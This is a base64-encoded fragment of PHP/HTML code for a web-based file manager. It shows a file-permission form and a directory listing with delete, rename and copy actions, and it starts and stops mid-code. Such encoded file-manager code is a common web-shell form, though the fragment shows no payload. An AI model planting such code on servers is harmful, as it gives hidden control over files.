CAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2